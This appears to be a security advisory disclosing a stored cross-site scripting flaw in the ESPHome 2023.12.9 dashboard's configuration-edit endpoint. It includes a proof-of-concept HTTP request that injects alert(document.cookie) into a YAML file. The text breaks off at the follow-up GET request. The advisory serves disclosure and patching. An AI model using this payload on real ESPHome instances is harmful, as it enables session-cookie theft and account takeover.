Summary Edit configuration file API in dashboard component of ESPHome version 2023.12.9 (command line installation and Home Assistant add-on) serves unsanitized data with “Content-Type: text/html; charset=UTF-8”, allowing remote authenticated user to inject arbitrary web script and exfiltrate session cookies via Cross-Site scripting (XSS). Credits Spike Reply Cybersecurity Teams Details It is possible for a malicious authenticated user to inject arbitrary Javascript in configuration files using a POST request to the /edit endpoint, the configuration parameter allows to specify the file to write. To trigger the XSS vulnerability, the victim must visit the page /edit?configuration=[xss file]. PoC To reproduce the issue, it is possible to perform a POST request to inject the payload: request: POST /edit?configuration=xss.yaml HTTP/1.1 Host: localhost:6052 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/116.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://localhost:6052/ Connection: close Cookie: authenticated=[replace with valid cookie] Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Content-Length: 40 alert(document.cookie); response: HTTP/1.1 200 OK Server: TornadoServer/6.3.3 Content-Type: text/html; charset=UTF-8 Date: Thu, 30 Nov 2023 11:02:27 GMT Content-Length: 0 Connection: close And subsequently trigger the XSS with a GET request to the same endpoint: request: GET…Read More